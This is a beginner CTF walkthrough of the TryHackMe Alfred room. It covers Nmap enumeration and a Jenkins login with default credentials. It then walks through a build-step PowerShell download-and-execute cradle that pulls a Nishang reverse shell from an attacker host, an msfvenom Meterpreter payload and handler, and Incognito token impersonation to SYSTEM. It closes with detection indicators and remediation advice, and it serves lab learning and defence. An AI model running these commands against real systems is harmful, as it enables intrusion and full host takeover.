CTF

Alfred TryHackMe Walkthrough

Beginner-focused walkthrough of the Alfred TryHackMe Windows room, covering Jenkins default credentials, command execution through build steps, PowerShell reverse shells, Windows token privileges, Meterpreter, and SYSTEM escalation with Incognito.

  • Nmap
  • Jenkins
  • Jetty
  • PowerShell
  • Nishang
  • Metasploit
  • Meterpreter
  • Incognito
  • Windows Tokens
On this page

Introduction

Alfred is a Windows room from TryHackMe’s offensive-security pathway. It demonstrates how weak credentials on a development platform can lead to command execution, and how privileges assigned to the compromised service account can then provide a route to NT AUTHORITY\SYSTEM.

The attack path has four main stages:

  1. enumerate the exposed network services;
  2. authenticate to Jenkins using weak credentials;
  3. abuse a Jenkins build step to obtain a reverse shell;
  4. use an available Windows access token to escalate to SYSTEM.

This walkthrough explains each stage and contains spoilers throughout.

Enumeration

We begin with an Nmap scan to identify the services exposed by the target:

sudo nmap -vv -A -Pn <TARGET_IP>

The options used here are:

  • -vv increases verbosity so that Nmap displays more information while the scan runs;
  • -A enables operating-system detection, service-version detection, default scripts, and traceroute;
  • -Pn skips host discovery and treats the target as online.

Using -Pn is useful when a target does not respond to the probes Nmap normally uses during host discovery. It does not make the scan more powerful by itself; it simply prevents Nmap from stopping because it believes the host is down.

Nmap scan of the Alfred target showing web services and Remote Desktop

Nmap identifies web services on TCP ports 80 and 8080, along with Remote Desktop on port 3389.

Three ports immediately stand out:

  • 80/tcp — Microsoft IIS
  • 8080/tcp — HTTP service
  • 3389/tcp — Microsoft Remote Desktop Protocol

Port 3389 confirms that we are dealing with a Windows target. The two web services are the most useful starting points because they can be inspected directly in a browser.

Inspecting the web services

IIS on port 80

Browsing to:

http://<TARGET_IP>/

shows the default IIS page.

Default Microsoft IIS page displayed by the Alfred target

The IIS service confirms that the web server is running but does not immediately expose useful functionality.

There is little to interact with on this page, so we move to the second web service:

http://<TARGET_IP>:8080/

Jenkins on port 8080

Port 8080 presents a Jenkins login page.

Jenkins is an automation server commonly used for continuous integration and continuous delivery. It can retrieve source code, compile applications, run tests, and execute commands as part of a build process.

The page may identify Jetty in its HTTP headers because Jetty is the Java web server hosting the application. The login itself belongs to Jenkins, not Jetty.

Jenkins login and project interface exposed on TCP port 8080

Jenkins is exposed on port 8080 and provides access to build configuration after authentication.

The room is configured with weak credentials:

Username: admin
Password: admin

These are credentials configured for this Jenkins instance; they should not be described as universal Jetty credentials.

After logging in, we can inspect the existing Jenkins project and its configuration.

Why Jenkins gives us command execution

A Jenkins project can execute scripts and operating-system commands as part of its build process. This is expected functionality for an automation server.

The security problem is therefore not a memory-corruption vulnerability in Jenkins. The problem is the combination of:

  • Jenkins being reachable from an untrusted network;
  • a privileged Jenkins account using predictable credentials;
  • that account being allowed to change project configuration;
  • the Jenkins service having permission to execute commands on the Windows host.

Once authenticated, we can add a Windows batch-command build step. Jenkins will execute that command under the account running the Jenkins service.

Blue-team note: Administrative development platforms should be restricted to trusted networks, protected with strong unique credentials, and run under dedicated low-privilege service accounts.

Initial access through a Jenkins build

We will use the Jenkins build step to download a PowerShell reverse-shell script from our attacking machine and execute it.

Preparing the PowerShell script

The original walkthrough used Invoke-PowerShellTcp.ps1 from the Nishang project:

Invoke-PowerShellTcp.ps1

Download the raw script into the current directory:

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Confirm that the expected file exists:

ls -l Invoke-PowerShellTcp.ps1

The previous command does not normally require renaming. wget only appends suffixes such as .1 when a file with the same name already exists.

Starting the HTTP server

Serve the directory containing the script:

python3 -m http.server 8000

The file should now be available at:

http://<ATTACKER_IP>:8000/Invoke-PowerShellTcp.ps1

Starting the listener

In a second terminal, start a Netcat listener:

nc -lvnp 4444

The listening port must match the port used by the PowerShell reverse shell.

Configuring the Jenkins command

Open the existing Jenkins project, select Configure, and add or edit an Execute Windows batch command build step.

Enter the following command:

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8000/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress <ATTACKER_IP> -Port 4444"

The command performs two actions:

  • DownloadString() retrieves the PowerShell script from our HTTP server and keeps it in memory;
  • IEX, short for Invoke-Expression, evaluates the downloaded script;
  • Invoke-PowerShellTcp starts a reverse PowerShell session back to our listener.

Save the project configuration and select Build Now.

Jenkins project configured to execute a PowerShell reverse-shell command

The Jenkins build step downloads the Nishang script and invokes a reverse PowerShell session.

When Jenkins runs the build, the target requests the script from our HTTP server and connects to the Netcat listener.

Netcat listener receiving a PowerShell reverse shell from the Alfred target

Building the Jenkins project returns an interactive user-level PowerShell session.

Confirm the current account:

whoami

We can now locate and read the user flag:

Get-ChildItem C:\Users -Force
Get-ChildItem C:\Users\<USERNAME>\Desktop
Get-Content C:\Users\<USERNAME>\Desktop\user.txt

Internal enumeration

Before attempting privilege escalation, we should understand the current security context and the privileges assigned to it.

Run:

whoami /priv
Windows whoami privilege output showing privileges available to the Jenkins service account

The compromised account holds several powerful Windows privileges, including SeImpersonatePrivilege.

The output includes privileges such as:

  • SeDebugPrivilege;
  • SeImpersonatePrivilege;
  • SeCreateGlobalPrivilege.

The most important for this route is SeImpersonatePrivilege.

Understanding Windows token impersonation

Windows uses access tokens to represent the security identity and privileges associated with a process or thread.

Services often need to perform actions on behalf of users or other services. SeImpersonatePrivilege allows a process to adopt an available impersonation token and temporarily act as that identity.

If a highly privileged token is accessible to our compromised process, we may be able to impersonate it. In this room, the Jenkins service context has access to an administrative group token that can be abused through Meterpreter’s Incognito extension.

Our current Netcat session cannot load Meterpreter extensions, so we first need to create a Meterpreter session.

Upgrading to Meterpreter

Generating the payload

On the attacking machine, create a Windows Meterpreter executable:

msfvenom \
  -p windows/meterpreter/reverse_tcp \
  -a x86 \
  LHOST=<ATTACKER_IP> \
  LPORT=4445 \
  -f exe \
  -o shell.exe

The options are:

  • -p windows/meterpreter/reverse_tcp selects a Windows Meterpreter reverse connection;
  • -a x86 selects the 32-bit architecture used by the original room route;
  • LHOST sets the attacking address;
  • LPORT sets the port on which Metasploit will listen;
  • -f exe creates a Windows executable;
  • -o shell.exe writes the result to shell.exe.

The original command included the x86/shikata_ga_nai encoder. An encoder changes the payload’s representation but is not a security control bypass by itself, so it is unnecessary for this lab.

Msfvenom generating the Windows Meterpreter executable used on Alfred

Msfvenom creates a Meterpreter payload configured to connect back to the attacking machine.

Configuring the Metasploit handler

Start Metasploit in another terminal:

msfconsole

Configure a handler that matches the generated payload:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 4445
run

The payload, callback address, and port must match the values used by msfvenom.

Transferring the executable

Serve shell.exe from the attacking machine:

python3 -m http.server 8000

From the existing PowerShell shell, download it to a writable directory:

Invoke-WebRequest `
  -Uri "http://<ATTACKER_IP>:8000/shell.exe" `
  -OutFile "C:\Windows\Temp\shell.exe"

Execute the payload:

Start-Process "C:\Windows\Temp\shell.exe"
Meterpreter handler receiving a session from the Alfred target

Executing the transferred payload opens a Meterpreter session under the Jenkins service account.

Confirm the current context:

getuid
sysinfo

Privilege escalation with Incognito

Load Meterpreter’s Incognito extension:

load incognito

List the available group tokens:

list_tokens -g

The output should include:

BUILTIN\Administrators

Impersonate that token:

impersonate_token "BUILTIN\Administrators"
Meterpreter Incognito listing and impersonating the BUILTIN Administrators token

Incognito finds an administrative group token and applies it to the current Meterpreter thread.

Check the reported identity:

getuid
Meterpreter reporting NT AUTHORITY SYSTEM after token impersonation

Meterpreter reports that the session is operating as NT AUTHORITY\SYSTEM.

Primary and impersonation tokens

Token impersonation may change the identity associated with the current thread without replacing the process’s primary token. As a result, getuid can report a privileged identity while some operations still fail.

When that happens, list the running processes:

ps

Identify a stable process running as SYSTEM that is compatible with the current Meterpreter architecture, and migrate into it:

migrate <SYSTEM_PROCESS_PID>

Check the identity again:

getuid

After obtaining a stable SYSTEM context, retrieve the final flag:

shell
type C:\Windows\System32\config\root.txt

The exact flag location should be taken from the room task or discovered through enumeration if it differs.

Complete attack path

The full route through Alfred is:

  1. identify IIS, Jenkins, and RDP during network enumeration;
  2. log in to Jenkins using the weak admin:admin credentials configured for the room;
  3. add a Windows batch-command build step;
  4. make Jenkins download and execute a PowerShell reverse shell;
  5. enumerate the service account’s Windows privileges;
  6. identify SeImpersonatePrivilege;
  7. upgrade the basic shell to Meterpreter;
  8. load Incognito and impersonate an available administrative token;
  9. migrate when necessary to obtain a stable privileged process context;
  10. retrieve the SYSTEM-level flag.

What we learned

Alfred does not depend on a single complicated software exploit. The compromise is created by a chain of insecure operational decisions.

The initial access comes from a publicly reachable Jenkins server protected by predictable credentials. Jenkins then provides command execution because running build commands is part of its intended purpose.

Privilege escalation becomes possible because the Jenkins service account holds powerful Windows privileges and has access to a token representing a more privileged security context.

The main lessons are:

  • internet-facing administration platforms require strong, unique credentials;
  • Jetty is the underlying web server, while Jenkins is the application being authenticated to;
  • authenticated Jenkins build access is effectively command execution on the host;
  • services should run under dedicated accounts with only the privileges they require;
  • SeImpersonatePrivilege can create a serious escalation path when privileged tokens are available;
  • Meterpreter extensions automate useful operations, but their behaviour still needs to be understood;
  • token impersonation and process migration involve different Windows security concepts.

From a defensive perspective, useful indicators include:

  • successful Jenkins authentication using a weak or reused administrative account;
  • project configuration changes followed by unusual builds;
  • Jenkins spawning powershell.exe;
  • PowerShell downloading scripts or executables from an untrusted host;
  • outbound connections originating from the Jenkins process tree;
  • a newly created executable under C:\Windows\Temp;
  • token impersonation or unexpected migration into privileged processes.

The most effective remediation is to change the weak Jenkins credentials, restrict the management interface to trusted networks, review project permissions, run Jenkins under a dedicated low-privilege account, and remove privileges that the service does not require.

Cheery bye,
Nekrotic